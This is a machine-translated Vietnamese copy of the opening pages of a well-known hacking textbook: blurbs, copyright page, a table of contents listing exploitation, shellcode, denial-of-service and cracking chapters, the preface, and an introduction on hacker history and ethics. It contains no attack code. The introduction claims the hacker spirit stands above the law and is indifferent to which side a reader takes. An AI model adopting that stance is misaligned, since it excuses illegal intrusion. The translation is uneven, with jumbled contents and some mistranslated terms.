Machine Translated by Google
CD bên trong
Phiên bản thứ 2
Tin tặc
nghệ thuật khai thác
jon erickson
Machine Translated by Google
Machine Translated by Google
LỜI CA NGỢI CHO ẤN BẢN ĐẦU TIÊN CỦA
HACKING: NGHỆ THUẬT KHAI THÁC
“Hướng dẫn đầy đủ nhất về các kỹ thuật hack. Cuối cùng là một cuốn sách không chỉ chỉ cách
sử dụng các khai thác mà còn cách phát triển chúng.”
—PHRACK
“Trong số tất cả những cuốn sách tôi đã đọc cho đến nay, tôi coi đây là cuốn cẩm nang quan trọng
nhất dành cho tin tặc.”
—DIỄN ĐÀN AN NINH
“Tôi chỉ giới thiệu cuốn sách này cho phần lập trình thôi.”
—ĐÁNH GIÁ UNIX
“Tôi thực sự đề xuất cuốn sách này. Nó được viết bởi một người hiểu biết về những gì anh
ấy nói, với mã, công cụ và ví dụ hữu ích.”
—MÃ HÓA IEEE
“Cuốn sách của Erickson, một hướng dẫn ngắn gọn và thiết thực dành cho những hacker
mới vào nghề, chứa đầy mã thực tế và các kỹ thuật hack cùng lời giải thích về cách
chúng hoạt động.”
—TẠP CHÍ NGƯỜI SỬ DỤNG MÁY TÍNH ( CPU)
“Đây là một cuốn sách tuyệt vời. Những ai đã sẵn sàng để chuyển sang [cấp độ tiếp
theo] nên chọn cuốn sách này và đọc kỹ.”
—ABOUT.COM BẢO MẬT MẠNG/INTERNET
Machine Translated by Google
Machine Translated by Google
®
San Francisco
Machine Translated by Google
HACKING: NGHỆ THUẬT KHAI THÁC, ẤN BẢN THỨ 2. Bản quyền © 2008 của Jon Erickson.
Mọi quyền được bảo lưu. Không được sao chép hoặc truyền tải bất kỳ phần nào của tác phẩm này dưới bất kỳ hình thức nào hoặc bằng bất kỳ
phương tiện nào, điện tử hoặc cơ học, bao gồm cả việc sao chép, ghi âm hoặc bằng bất kỳ hệ thống lưu trữ hoặc truy xuất thông tin nào, mà
không có sự cho phép trước bằng văn bản của chủ sở hữu bản quyền và nhà xuất bản.
Được in trên giấy tái chế tại Hoa Kỳ
11 10 09 08 07
1 2 3 4 5 6 7 8 9
Mã số ISBN-10: 1-59327-144-1
Mã số ISBN-13: 978-1-59327-144-2
Nhà xuất bản: William Pollock
Biên tập sản xuất: Christina Samuell và Megan Dunchak
Thiết kế bìa: Octopod Studios
Biên tập viên phát triển: Tyler Ortman
Người đánh giá kỹ thuật: Aaron Adams
Biên tập viên: Dmitry Kirsanov và Megan Dunchak
Nhạc sĩ: Christina Samuell và Kathleen Mish
Người hiệu đính: Jim Brook
Người lập chỉ mục: Nancy Guenther
Để biết thông tin về nhà phân phối sách hoặc bản dịch, vui lòng liên hệ trực tiếp với No Starch Press, Inc.:
Công ty TNHH báo chí No Starch
555 Phố De Haro, Suite 250, San Francisco, CA 94107
điện thoại: 415.863.9900; fax: 415.863.9950; info@nostarch.com; www.nostarch.com
Dữ liệu xuất bản của Thư viện Quốc hội
Erickson, Jon, 1977Tin tặc: nghệ thuật khai thác / Jon Erickson. -- Ấn bản lần 2.
trang cm.
Mã số ISBN-13: 978-1-59327-144-2
Mã số ISBN-10: 1-59327-144-1
1. Bảo mật máy tính. 2. Tin tặc máy tính. 3. Mạng máy tính - Các biện pháp bảo mật. I. Tiêu đề.
QA76.9.A25E75 2008
005.8--dc22
2007042910
No Starch Press và logo No Starch Press là các nhãn hiệu đã đăng ký của No Starch Press, Inc. Các tên sản phẩm và công ty khác được đề cập
ở đây có thể là nhãn hiệu của chủ sở hữu tương ứng. Thay vì sử dụng biểu tượng nhãn hiệu với mọi lần xuất hiện của tên đã đăng ký nhãn hiệu,
chúng tôi chỉ sử dụng các tên theo cách biên tập và vì lợi ích của chủ sở hữu nhãn hiệu, không có ý định vi phạm nhãn hiệu.
Thông tin trong cuốn sách này được phân phối theo cơ sở "Nguyên trạng", không có bảo hành. Mặc dù mọi biện pháp phòng ngừa đã được thực hiện trong quá trình
chuẩn bị tác phẩm này, tác giả cũng như No Starch Press, Inc. sẽ không chịu bất kỳ trách nhiệm nào đối với bất kỳ cá nhân hoặc tổ chức nào liên quan đến
bất kỳ mất mát hoặc thiệt hại nào do thông tin có trong đó gây ra hoặc được cho là gây ra trực tiếp hoặc gián tiếp.
Machine Translated by Google
MỤC LỤC TÓM TẮT
Lời nói đầu ............................................................................................................................... xi
Lời cảm ơn ................................................................................................................ xii
0x100 Giới thiệu ...............................................................................................................1
0x200 Lập trình................................................................................................5
0x300 Khai thác ...................................................................................................115
0x400 Mạng................................................................................................195
0x500 Mã vỏ ................................................................................................................281
0x600 Biện pháp đối phó.................................................................................................319
0x700 Mật mã học ................................................................................................393
0x800 Kết luận ....................................................................................................451
Mục lục................................................................................................................455
Machine Translated by Google
Machine Translated by Google
NỘI DUNG CHI TIẾT
LỜI NÓI ĐẦU
xi
LỜI CẢM ƠN
xii
0x100 GIỚI THIỆU
1
0x200 LẬP TRÌNH
5
0x210 Lập trình là gì? ................................................................................................
6 0x220 Mã giả ................................................................................................................
7 0x230 Cấu trúc điều khiển ................................................................................................
8 0x231 If-Then-Else......................................................................................
8 0x232 Vòng lặp While/Until ...........................................................................
9 0x233 Vòng lặp For .....................................................................................
10 0x240 Các khái niệm lập trình cơ bản hơn .................................................... 11 0x241
Biến ..................................................................................... 11 0x242 Toán
tử số học ..................................................................... 12 0x243 Toán tử so
sánh ................................................................................ 14 0x244
Hàm ................................................................................................ 16
0x250 Tự tay làm việc ............................................................................... 19 0x251 Bức
tranh toàn cảnh ................................................................................ 20 0x252
x86 Bộ xử lý...................................................................................................
23 0x253 Ngôn ngữ hợp ngữ.................................................................................
25 0x260 Quay lại Cơ bản..........................................................................................................
37 0x261 Chuỗi..........................................................................................................
38 0x262 Có dấu, Không dấu, Dài và Ngắn................................................................
41
0x263 Con trỏ........................................................................................ 43
0x264 Định dạng Chuỗi................................................................................................
48 0x265 Ép kiểu................................................................................... 51
0x266 Đối số Dòng lệnh.................................................................. 58 0x267 Phạm vi
Biến.................................................................................. 62 0x270 Phân đoạn
Bộ nhớ.................................................................................. 69 0x271 Phân đoạn Bộ nhớ
trong C.................................................................. 75 0x272 Sử dụng
Heap.................................................................. 77 0x273 Kiểm tra lỗi
malloc()................................................................... 80 0x280 Xây dựng trên các
nguyên tắc cơ bản ...................................................................... 81 0x281 Truy cập
tệp ................................................................................... 81 0x282 Quyền
tệp................................................................................ 87 0x283 ID người
dùng ....................................................................................... 88 0x284 Cấu
trúc................................................................................................ 96
0x285 Con trỏ hàm ............................................................................... 100
0x286 Số giả ngẫu nhiên ............................................................... 101 0x287 Trò
chơi may rủi ..................................................................... 102
Machine Translated by Google
0x300 KHAI THÁC
115
0x310 Kỹ thuật khai thác tổng quát ................................................................. 118 0x320 Tràn
bộ đệm ................................................................................................ 119 122
0x321 Lỗ hổng tràn bộ đệm dựa trên ngăn xếp ...................................
0x330 Thử nghiệm với BASH..........................................................................................
133 0x331 Sử dụng Môi trường..................................................................................
142 0x340 Tràn trong các Phân đoạn khác .................................................................... 150
0x341 Tràn dựa trên Heap cơ bản ...................................................... 150 0x342 Con trỏ
hàm tràn.................................................................. 156 0x350 Chuỗi định
dạng.................................................................................. 167 0x351 Tham số định
dạng.................................................................................. 167 0x352 Lỗ hổng
Chuỗi định dạng.................................................................. 170 0x353 Đọc từ Địa
chỉ Bộ nhớ Tùy ý .................................... 172 0x354 Ghi vào Địa chỉ Bộ nhớ Tùy
ý.................................................. 173 0x355 Truy cập Tham số Trực
tiếp.................................................................. 180 0x356 Sử dụng Ghi
Ngắn ...................................................................... 182 0x357 Đường vòng
với .dtors................................................................................. 184 0x358 Một
lỗ hổng notesearch khác.................................................................... 189 0x359 Ghi
đè Bảng bù trừ toàn cục....................................................... 190
0x400 MẠNG
195
0x410 Mô hình OSI ............................................................................................... 196
0x420 Sockets ................................................................................................... 198
0x421 Chức năng Socket................................................................................
199 0x422 Địa chỉ Socket................................................................................
200 0x423 Thứ tự byte mạng.................................................................. 202 0x424
Chuyển đổi địa chỉ Internet.................................................................. 203 0x425
Một ví dụ về máy chủ đơn giản.................................................. 203 0x426 Một ví dụ về
máy khách web.................................................. 207 0x427 Một máy chủ
Tinyweb.................................................................. 213 0x430 Lột bỏ các lớp bên
dưới.................................................................. 217 0x431 Lớp liên kết dữ
liệu.................................................................. 218 0x432 Lớp
mạng.................................................................. 220 0x433 Lớp vận
chuyển .......................................................................... 0x440 Giám sát
mạng ................................................................................................
221
224
0x441 Raw Socket Sniffer.................................................................... 226 0x442
libpcap Sniffer................................................................................. 228 0x443
Giải mã các lớp................................................................................. 230 0x444
Active Sniffing................................................................................. 239 0x450
Denial of Service................................................................................. 251 0x451 SYN
Flooding................................................................................. 252 0x452 The
Ping of Death................................................................................. 256 0x453
Teardrop.................................................................................................
256 0x454 Ping Flooding.................................................................................
257 0x455 Amplification Attacks................................................................. 257 0x456
Distributed DoS Flooding................................................................. 258 0x460 TCP/
IP Đang chiếm đoạt......................................................................................................
258 0x461 Đang chiếm đoạt RST...................................................................................
259 0x462 Đang chiếm đoạt tiếp tục................................................................... 263
viii
Nội dung chi tiết
Machine Translated by Google
0x470 Quét cổng .......................................................................................... 264
0x471 Quét SYN tàng hình ................................................................................
264 0x472 Quét FIN, X-mas và Null ................................................ 264 0x473 Mồi nhử
giả mạo......................................................................... 265 0x474 Quét nhàn
rỗi................................................................................. 265 0x475 Phòng
thủ chủ động (che giấu).................................................................. 267 0x480
Tiếp cận và hack ai đó.................................................................. 272 0x481 Phân tích với
GDB........................................................................ 273 0x482 Hầu như chỉ có
giá trị với Lựu đạn cầm tay.................................. 275 0x483 Shellcode liên kết
cổng.................................................................. 278
0x500 MÃ VỎ
281
0x510 Assembly so với C ................................................................................................
282 0x511 Linux System Calls trong Assembly ..................................................... 284
0x520 Đường dẫn đến Shellcode................................................................................
286 0x521 Hướng dẫn Assembly sử dụng Stack ...............................................................
287 0x522 Điều tra với GDB................................................................. 289 0x523
Xóa Null Bytes .................................................................... 290 0x530
Shellcode sinh ra Shell................................................................................ 295
0x531 Một vấn đề về đặc quyền................................................................. 299
0x532 Và nhỏ hơn nữa.................................................................................
302 0x540 Shellcode liên kết cổng.................................................................. 303 0x541
Sao chép các mô tả tệp chuẩn................................................. 307 0x542 Kiểm soát
phân nhánh Cấu trúc................................................................. 309 0x550
Shellcode Kết nối-Quay lại .................................................................. 314
0x600 BIỆN PHÁP PHẢN ỨNG
319
0x610 Các biện pháp đối phó phát hiện ..................................................................... 320
0x620 Daemon hệ thống ......................................................................................
321 0x621 Khóa học cấp tốc về tín hiệu..................................................................
322 0x622 Daemon Tinyweb ........................................................................ 324
0x630 Các công cụ của nghề.....................................................................................
328 0x631 Công cụ khai thác tinywebd...................................................................
329 0x640 Tệp nhật ký..................................................................................................
334 0x641 Hòa nhập với đám đông.................................................................. 334
0x650 Bỏ qua điều hiển nhiên ........................................................................... 336
0x651 Từng bước một ..................................................................... 336 0x652
Ghép mọi thứ lại với nhau.................................................. 340 0x653 Lao động trẻ
em ............................................................................... 346 0x660 Ngụy
trang nâng cao .................................................................................. 348 0x661 Giả
mạo địa chỉ IP đã ghi nhật ký................................................... 348 0x662 Khai thác
không cần nhật ký ..................................................................... 352 0x670
Toàn bộ cơ sở hạ tầng ........................................................................... 354 0x671 Tái
sử dụng ổ cắm ............................................................................... 355
0x680 Buôn lậu tải trọng .................................................................................. 359
0x681 Mã hóa chuỗi ........................................................................... 359
0x682 Cách ẩn một chiếc xe trượt tuyết.......................................................................
362 0x690 Hạn chế bộ đệm .....................................................................................
363 0x691 Mã vỏ ASCII có thể in đa hình.................................................. 366
Nội dung chi tiết ix
Machine Translated by Google
0x6a0 Biện pháp đối phó cứng rắn................................................................... 376 0x6b0 Ngăn xếp không thể
thực thi................................................................... 376 0x6b1
ret2libc................................................................................................. 376 0x6b2
Quay lại system()................................................................................. 377 0x6c0 Không
gian ngăn xếp ngẫu nhiên................................................................................. 379 0x6c1 Điều tra với
BASH và GDB................................................. 380 0x6c2 Bật ra khỏi linuxgate................................................................. 384 0x6c3 Kiến thức ứng
dụng................................................................. 388 0x6c4 Nỗ lực đầu
tiên................................................................................. 388 0x6c5 Đánh
cược................................................................................. 390
0x700 MÃ HÓA
393
0x710 Lý thuyết thông tin ................................................................................... 394 0x711 Bảo mật
vô điều kiện ................................................................ 394 0x712 Bảng ghi một
lần............................................................................ 395 0x713 Phân phối khóa lượng
tử.................................................................. 395 0x714 Bảo mật tính
toán.................................................................. 396 0x720 Thời gian chạy thuật
toán.................................................................. 397 0x721 Ký hiệu tiệm
cận.................................................................. 398 0x730 Mã hóa đối
xứng.................................................................................. 398 0x731 Thuật toán tìm kiếm lượng tử
của Lov Grover................................. 399 0x740 Mã hóa bất đối
xứng.................................................................................. 400 0x741
RSA.................................................................................. 400 0x742 Phân tích thừa số
lượng tử của Peter Shor Thuật toán ..................................... 404 0x750 Mã hóa
lai ................................................................................................ 406 0x751 Tấn công trung
gian ............................................................................... 406 0x752 Dấu vân tay máy chủ
giao thức SSH khác nhau........................................ 410 0x753 Dấu vân tay
mờ ....................................................................... 413 0x760 Bẻ khóa mật
khẩu................................................................................... 418 0x761 Tấn công từ
điển ....................................................................... 419 0x762 Tấn công Brute-Force cạn
kiệt....................................................... 422 0x763 Bảng tra cứu
băm ...................................................................... 423 0x764 Ma trận xác suất mật
khẩu ............................................................... 424 0x770 Mã hóa không dây
802.11b................................................................. 433 0x771 Quyền riêng tư tương đương có
dây ............................................................... 434 0x772 RC4 Stream
Cipher ..................................................................... 435 0x780 Các cuộc tấn công
WEP.......................................................................................... 436 0x781 Các cuộc tấn công BruteForce ngoại tuyến........................................................... 436 0x782 Tái sử dụng luồng
khóa................................................................................ 437 0x783 Bảng từ điển giải mã
dựa trên IV.................................................. 438 0x784 Chuyển hướng
IP.................................................................................. 438 0x785 Cuộc tấn công
Fluhrer, Mantin và Shamir.................................................. 439
0x800 KẾT LUẬN
451
0x810 Tài liệu tham khảo................................................................................................... 452
0x820 Nguồn................................................................................................................... 454
MỤC LỤC
x Nội dung chi tiết
455
Machine Translated by Google
LỜI NÓI ĐẦU
Mục đích của cuốn sách này là chia sẻ nghệ thuật
hack với mọi người. Hiểu được các kỹ thuật hack
thường rất khó, vì nó đòi hỏi cả chiều rộng và
chiều sâu kiến thức. Nhiều văn bản về hack có vẻ khó hiểu
và gây nhầm lẫn vì chỉ có một vài lỗ hổng trong giáo dục tiên quyết này.
Phiên bản thứ hai của Hacking: The Art of Exploitation giúp thế giới hack dễ
tiếp cận hơn bằng cách cung cấp bức tranh toàn cảnh—từ lập trình đến mã máy
đến khai thác. Ngoài ra, phiên bản này có LiveCD có thể khởi động dựa trên
Ubuntu Linux có thể sử dụng trên bất kỳ máy tính nào có bộ xử lý x86 mà
không cần sửa đổi hệ điều hành hiện tại của máy tính. CD này chứa tất cả mã
nguồn trong sách và cung cấp môi trường phát triển và khai thác mà bạn có
thể sử dụng để làm theo các ví dụ trong sách và thử nghiệm trong suốt
quá trình.
Machine Translated by Google
LỜI CẢM ƠN
Tôi muốn cảm ơn Bill Pollock và mọi người khác tại
No Starch Press đã giúp cuốn sách này trở thành hiện thực
và cho phép tôi có nhiều quyền kiểm soát sáng tạo trong
quá trình. Ngoài ra, tôi muốn cảm ơn những người bạn Seth Benson và Aaron Adams đã hiệu đính và biên tập,
Jack Matheson đã giúp tôi lắp ráp, Tiến sĩ Seidel đã giúp tôi luôn hứng thú với khoa học máy tính, bố
mẹ tôi đã mua chiếc Commodore VIC-20 đầu tiên và cộng đồng hacker đã sáng tạo và đổi mới để tạo ra các kỹ
thuật được giải thích trong cuốn sách này.
Machine Translated by Google
0x100
GIỚI THIỆU
Ý tưởng về tin tặc có thể gợi lên những hình ảnh cách
điệu về phá hoại điện tử, gián điệp, tóc nhuộm và xỏ khuyên
trên cơ thể. Hầu hết mọi người liên tưởng tin tặc với việc
vi phạm pháp luật và cho rằng bất kỳ ai tham gia vào các
hoạt động tin tặc đều là tội phạm. Thật vậy, có những người ngoài kia
có những người sử dụng các kỹ thuật hack để vi phạm pháp luật, nhưng hack không thực sự là
về điều đó. Trên thực tế, hack là về việc tuân thủ pháp luật hơn là vi phạm pháp luật.
Bản chất của việc hack là tìm ra những cách sử dụng không mong muốn hoặc bị bỏ qua đối
với các quy luật và đặc tính của một tình huống nhất định, sau đó áp dụng chúng theo những
cách mới và sáng tạo để giải quyết vấn đề, bất kể đó là vấn đề gì.
Bài toán sau đây minh họa bản chất của việc hack:
Sử dụng mỗi số 1, 3, 4 và 6 đúng một lần với bất kỳ phép toán cơ bản
nào trong bốn phép toán (cộng, trừ, nhân và chia) để tổng là 24.
Mỗi số chỉ được sử dụng một lần và chỉ một lần, và bạn có thể xác định
thứ tự thực hiện phép toán; ví dụ, 3 * (4 + 6) + 1 = 31 là hợp lệ,
tuy nhiên không chính xác, vì tổng không bằng 24.
Machine Translated by Google
Các quy tắc cho vấn đề này được định nghĩa rõ ràng và đơn giản, nhưng câu trả lời vẫn còn
là ẩn số đối với nhiều người. Giống như giải pháp cho vấn đề này (được hiển thị ở trang cuối của
cuốn sách này), các giải pháp hack tuân theo các quy tắc của hệ thống, nhưng chúng sử dụng các
quy tắc đó theo những cách phản trực giác. Điều này mang lại cho hacker lợi thế, cho phép họ giải
quyết vấn đề theo những cách không thể tưởng tượng được đối với những người bị giới hạn trong
tư duy và phương pháp luận thông thường.
Từ khi máy tính mới ra đời, tin tặc đã sáng tạo ra cách giải quyết vấn đề. Vào cuối
những năm 1950, câu lạc bộ mô hình đường sắt MIT đã nhận được một khoản tài trợ các bộ phận,
chủ yếu là thiết bị điện thoại cũ. Các thành viên của câu lạc bộ đã sử dụng thiết bị này để dựng
nên một hệ thống phức tạp cho phép nhiều người vận hành kiểm soát các phần khác nhau của đường
ray bằng cách quay số vào các phần thích hợp. Họ gọi cách sử dụng thiết bị điện thoại mới và sáng
tạo này là tin tặc ; nhiều người coi nhóm này là những tin tặc đầu tiên. Nhóm chuyển sang lập
trình trên thẻ đục lỗ và băng giấy cho các máy tính đầu tiên như IBM 704 và TX-0. Trong khi những
người khác hài lòng với việc viết các chương trình chỉ giải quyết vấn đề, thì những tin tặc đầu
tiên lại ám ảnh với việc viết các chương trình giải quyết vấn đề tốt. Một chương trình mới có thể
đạt được kết quả tương tự như chương trình hiện có nhưng sử dụng ít thẻ đục lỗ hơn được coi là
tốt hơn, mặc dù nó thực hiện cùng một mục đích. Sự khác biệt chính là cách chương trình đạt được
kết quả của nó—sự thanh lịch.
Có thể giảm số lượng thẻ đục lỗ cần thiết cho một chương trình cho thấy sự thành thạo về mặt nghệ
thuật đối với máy tính. Một chiếc bàn được chế tác khéo léo có thể đựng một chiếc bình cũng tốt như một
thùng đựng sữa, nhưng chắc chắn một chiếc trông đẹp hơn nhiều so với chiếc kia. Những hacker đầu tiên đã
chứng minh rằng các vấn đề kỹ thuật có thể có giải pháp nghệ thuật, và do đó họ đã biến lập trình từ một
nhiệm vụ kỹ thuật đơn thuần thành một hình thức nghệ thuật.
Giống như nhiều hình thức nghệ thuật khác, tin tặc thường bị hiểu lầm. Một số ít người hiểu
được đã hình thành nên một nền văn hóa phụ phi chính thức vẫn tập trung cao độ vào việc học và
thành thạo nghệ thuật của họ. Họ tin rằng thông tin phải miễn phí và bất cứ thứ gì cản trở sự tự
do đó đều phải bị bỏ qua. Những trở ngại như vậy bao gồm những người có thẩm quyền, bộ máy quan
liêu của các lớp học đại học và sự phân biệt đối xử. Trong một biển sinh viên đang phấn đấu để
tốt nghiệp, nhóm tin tặc không chính thức này đã thách thức các mục tiêu thông thường và thay
vào đó theo đuổi chính kiến thức. Động lực học hỏi và khám phá liên tục này thậm chí còn vượt qua
cả những ranh giới thông thường do sự phân biệt đối xử tạo ra, thể hiện rõ trong việc câu lạc
bộ mô hình đường sắt MIT chấp nhận Peter Deutsch 12 tuổi khi cậu bé thể hiện kiến thức của mình
về TX-0 và mong muốn học hỏi. Tuổi tác, chủng tộc, giới tính, ngoại hình, bằng cấp học vấn và
địa vị xã hội không phải là tiêu chí chính để đánh giá giá trị của người khác - không phải vì
mong muốn bình đẳng, mà vì mong muốn thúc đẩy nghệ thuật tin tặc mới nổi.
Những hacker đầu tiên tìm thấy sự lộng lẫy và thanh lịch trong các ngành khoa học khô khan
thông thường về toán học và điện tử. Họ coi lập trình là một hình thức thể hiện nghệ thuật và máy
tính là một công cụ của nghệ thuật đó. Mong muốn phân tích và hiểu biết của họ không nhằm mục
đích làm sáng tỏ những nỗ lực nghệ thuật; đó chỉ đơn giản là một cách để đạt được sự đánh giá cao
hơn về chúng. Những giá trị thúc đẩy bởi kiến thức này cuối cùng sẽ được gọi là Đạo đức hacker:
đánh giá cao logic như một hình thức nghệ thuật và thúc đẩy dòng chảy thông tin tự do, vượt qua
các ranh giới và hạn chế thông thường vì mục tiêu đơn giản là
2 0x100
Machine Translated by Google
hiểu rõ hơn về thế giới. Đây không phải là một xu hướng văn hóa mới; những người
theo trường phái Pythagore ở Hy Lạp cổ đại có đạo đức và nền văn hóa phụ tương tự, mặc
dù không sở hữu máy tính. Họ nhìn thấy vẻ đẹp trong toán học và khám phá ra nhiều khái
niệm cốt lõi trong hình học. Niềm khao khát kiến thức và các sản phẩm phụ có lợi của nó
sẽ tiếp tục trong suốt lịch sử, từ những người theo trường phái Pythagore đến Ada Lovelace
đến Alan Turing đến những tin tặc của câu lạc bộ mô hình đường sắt MIT.
Những tin tặc hiện đại như Richard Stallman và Steve Wozniak đã tiếp tục
Di sản của tin tặc, mang đến cho chúng ta hệ điều hành hiện đại, ngôn ngữ lập trình,
máy tính cá nhân và nhiều công nghệ khác mà chúng ta sử dụng hàng ngày.
Làm sao để phân biệt được giữa những hacker tốt mang đến cho chúng ta những điều kỳ
diệu của tiến bộ công nghệ và những hacker xấu xa đánh cắp số thẻ tín dụng của chúng ta?
Thuật ngữ cracker được đặt ra để phân biệt hacker xấu xa với hacker tốt. Các nhà báo được
cho biết rằng cracker được cho là những kẻ xấu, trong khi hacker là những người tốt.
Hacker vẫn trung thành với Đạo đức hacker, trong khi cracker chỉ quan tâm đến việc vi
phạm pháp luật và kiếm tiền nhanh chóng. Cracker được coi là kém tài năng hơn nhiều so
với hacker ưu tú, vì họ chỉ sử dụng các công cụ và tập lệnh do hacker viết mà không
hiểu cách chúng hoạt động. Cracker được cho là nhãn hiệu chung cho bất kỳ ai làm bất cứ
điều gì vô đạo đức với máy tính—
vi phạm bản quyền phần mềm, làm hỏng trang web và tệ nhất là không hiểu họ đang làm gì.
Nhưng rất ít người sử dụng thuật ngữ này ngày nay.
Sự thiếu phổ biến của thuật ngữ này có thể là do từ nguyên khó hiểu của nó—
cracker ban đầu mô tả những người bẻ khóa bản quyền phần mềm và đảo ngược các chương trình
bảo vệ bản quyền. Sự không phổ biến hiện tại của nó có thể chỉ đơn giản là do hai định
nghĩa mới mơ hồ của nó: một nhóm người tham gia vào hoạt động bất hợp pháp với máy tính
hoặc những người là tin tặc tương đối không có kỹ năng.
Rất ít nhà báo công nghệ cảm thấy bắt buộc phải sử dụng những thuật ngữ mà hầu hết độc
giả của họ không quen thuộc. Ngược lại, hầu hết mọi người đều nhận thức được sự bí ẩn và
kỹ năng liên quan đến thuật ngữ hacker, vì vậy đối với một nhà báo, quyết định sử dụng
thuật ngữ hacker là dễ dàng. Tương tự như vậy, thuật ngữ script kiddie đôi khi được sử
dụng để chỉ những kẻ bẻ khóa, nhưng nó không có cùng sức hấp dẫn như hacker bí ẩn. Một số
người vẫn cho rằng có một ranh giới rõ ràng giữa hacker và cracker, nhưng tôi tin rằng
bất kỳ ai có tinh thần hacker đều là hacker, bất chấp bất kỳ luật nào mà người đó có thể
vi phạm.
Các luật hiện hành hạn chế mật mã và nghiên cứu mật mã làm mờ ranh giới giữa tin
tặc và cracker. Năm 2001, Giáo sư Edward Felten và nhóm nghiên cứu của ông từ Đại học
Princeton sắp công bố một bài báo thảo luận về điểm yếu của nhiều chương trình đánh dấu kỹ
thuật số.
Bài báo này đã trả lời một thách thức do Sáng kiến Âm nhạc Kỹ thuật số An toàn (SDMI)
đưa ra trong SDMI Public Challenge, khuyến khích công chúng cố gắng phá vỡ các chương
trình đóng dấu bản quyền này. Tuy nhiên, trước khi Felten và nhóm của ông có thể xuất bản
bài báo, họ đã bị cả Quỹ SDMI và Hiệp hội Công nghiệp Ghi âm Hoa Kỳ (RIAA) đe dọa.
Đạo luật Bản quyền Thiên niên kỷ Kỹ thuật số (DCMA) năm 1998 quy định rằng việc thảo
luận hoặc cung cấp công nghệ có thể được sử dụng để vượt qua các biện pháp kiểm soát của
người tiêu dùng trong ngành là bất hợp pháp. Luật này cũng đã được sử dụng chống lại Dmitry
Sklyarov, một lập trình viên máy tính và tin tặc người Nga. Ông đã viết phần mềm để vượt qua
Giới thiệu 3
Machine Translated by Google
mã hóa quá đơn giản trong phần mềm Adobe và trình bày phát hiện của mình tại một hội nghị hacker ở Hoa
Kỳ. FBI đã đột nhập và bắt giữ anh ta, dẫn đến một cuộc chiến pháp lý kéo dài. Theo luật, sự phức tạp
của các biện pháp kiểm soát người tiêu dùng trong ngành không thành vấn đề—về mặt kỹ thuật, việc đảo
ngược kỹ thuật hoặc thậm chí thảo luận về Pig Latin nếu nó được sử dụng làm biện pháp kiểm soát người
tiêu dùng trong ngành là bất hợp pháp. Ai là hacker và ai là cracker bây giờ? Khi
luật pháp dường như can thiệp vào quyền tự do ngôn luận, những người tốt nói lên suy nghĩ
của họ đột nhiên trở nên xấu xa? Tôi tin rằng tinh thần của hacker vượt qua luật pháp của
chính phủ, trái ngược với việc bị chúng định nghĩa.
Khoa học vật lý hạt nhân và hóa sinh có thể được sử dụng để giết người, nhưng chúng
cũng cung cấp cho chúng ta những tiến bộ khoa học đáng kể và y học hiện đại. Bản thân
kiến thức không có gì tốt hay xấu; đạo đức nằm ở việc áp dụng kiến thức. Ngay cả khi chúng
ta muốn, chúng ta cũng không thể ngăn chặn kiến thức về cách chuyển đổi vật chất thành
năng lượng hoặc ngăn chặn sự tiến bộ công nghệ liên tục của xã hội. Tương tự như vậy, tinh
thần hacker không bao giờ có thể bị ngăn chặn, cũng không thể dễ dàng phân loại hoặc mổ
xẻ. Hacker sẽ liên tục đẩy lùi giới hạn của kiến thức và hành vi có thể chấp nhận được,
buộc chúng ta phải khám phá ngày càng xa hơn.
Một phần của động lực này dẫn đến sự đồng tiến hóa có lợi cuối cùng của bảo mật
thông qua sự cạnh tranh giữa tin tặc tấn công và tin tặc phòng thủ. Cũng giống như linh
dương nhanh nhẹn thích nghi với việc bị báo gêpa đuổi theo, và báo gêpa trở nên nhanh
hơn nữa khi đuổi theo linh dương, sự cạnh tranh giữa tin tặc cung cấp cho người dùng
máy tính khả năng bảo mật tốt hơn và mạnh hơn, cũng như các kỹ thuật tấn công phức tạp
và tinh vi hơn. Sự ra đời và tiến triển của các hệ thống phát hiện xâm nhập (IDS) là một
ví dụ điển hình của quá trình đồng tiến hóa này. Tin tặc phòng thủ tạo ra IDS để bổ sung
vào kho vũ khí của họ, trong khi tin tặc tấn công phát triển các kỹ thuật né tránh IDS,
cuối cùng được đền bù bằng các sản phẩm IDS lớn hơn và tốt hơn. Kết quả ròng của sự
tương tác này là tích cực, vì nó tạo ra những con người thông minh hơn, bảo mật được cải
thiện, phần mềm ổn định hơn, các kỹ thuật giải quyết vấn đề sáng tạo và thậm chí là một
nền kinh tế mới.
Mục đích của cuốn sách này là dạy bạn về tinh thần thực sự của tin tặc.
Chúng ta sẽ xem xét nhiều kỹ thuật tin tặc khác nhau, từ quá khứ đến hiện tại, phân tích chúng để
tìm hiểu cách thức và lý do tại sao chúng hoạt động. Sách này bao gồm một LiveCD có thể khởi động chứa
tất cả mã nguồn được sử dụng ở đây cũng như một môi trường Linux được cấu hình sẵn. Khám phá và đổi
mới là yếu tố quan trọng đối với nghệ thuật tin tặc, vì vậy CD này sẽ cho phép bạn theo dõi và tự mình
thử nghiệm. Yêu cầu duy nhất là bộ xử lý x86, được sử dụng bởi tất cả các máy Microsoft Windows và máy
tính Macintosh mới hơn—chỉ cần chèn CD và khởi động lại. Môi trường Linux thay thế này sẽ không làm
phiền
hệ điều hành hiện tại của bạn, vì vậy khi hoàn tất, chỉ cần khởi động lại và lấy đĩa CD ra.
Bằng cách này, bạn sẽ có được sự hiểu biết thực tế và đánh giá cao về tin tặc, điều này có
thể truyền cảm hứng cho bạn cải thiện các kỹ thuật hiện có hoặc thậm chí phát minh ra các
kỹ thuật mới. Hy vọng rằng, cuốn sách này sẽ kích thích bản chất tò mò của tin tặc trong
bạn và thúc đẩy bạn đóng góp vào nghệ thuật tin tặc theo một cách nào đó, bất kể bạn chọn
đứng về phía nào.
4 0x100
Machine Translated by Google
0x200
LẬP TRÌNH
Hacker là thuật ngữ dùng để chỉ cả những người viết mã và những
người khai thác mã. Mặc dù hai nhóm hacker này có mục tiêu cuối cùng khác
nhau, nhưng cả hai nhóm đều sử dụng các kỹ thuật giải quyết vấn đề tương
tự nhau. Vì hiểu biết về lập trình giúp ích cho những người khai thác và
hiểu biết về khai thác giúp ích cho những người lập trình, nhiều
tin tặc thực hiện cả hai. Có những thủ thuật hack thú vị được tìm thấy trong cả kỹ
thuật dùng để viết mã đẹp và kỹ thuật dùng để khai thác chương trình.
Thực chất, hack chỉ là hành động tìm ra giải pháp thông minh và phản trực giác
cho một vấn đề.
Các vụ hack được tìm thấy trong các khai thác chương trình thường sử dụng
các quy tắc của máy tính để vượt qua bảo mật theo những cách không bao giờ có chủ
đích. Các vụ hack lập trình cũng tương tự ở chỗ chúng cũng sử dụng các quy tắc của
máy tính theo những cách mới và sáng tạo, nhưng mục tiêu cuối cùng là hiệu quả hoặc
